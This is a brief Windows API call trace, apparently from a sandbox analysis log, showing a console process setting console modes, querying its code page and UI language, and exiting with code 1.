[0088.657] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0088.657] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.657] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49fd41ac | out: lpMode=0x49fd41ac) returned 1 [0088.657] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.657] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49fd41b0 | out: lpMode=0x49fd41b0) returned 1 [0088.657] SetConsoleInputExeNameW () returned 0x1 [0088.657] GetConsoleOutputCP () returned 0x1b5 [0088.657] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fd4260 | out: lpCPInfo=0x49fd4260) returned 1 [0088.657] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.657] exit (_Code=1)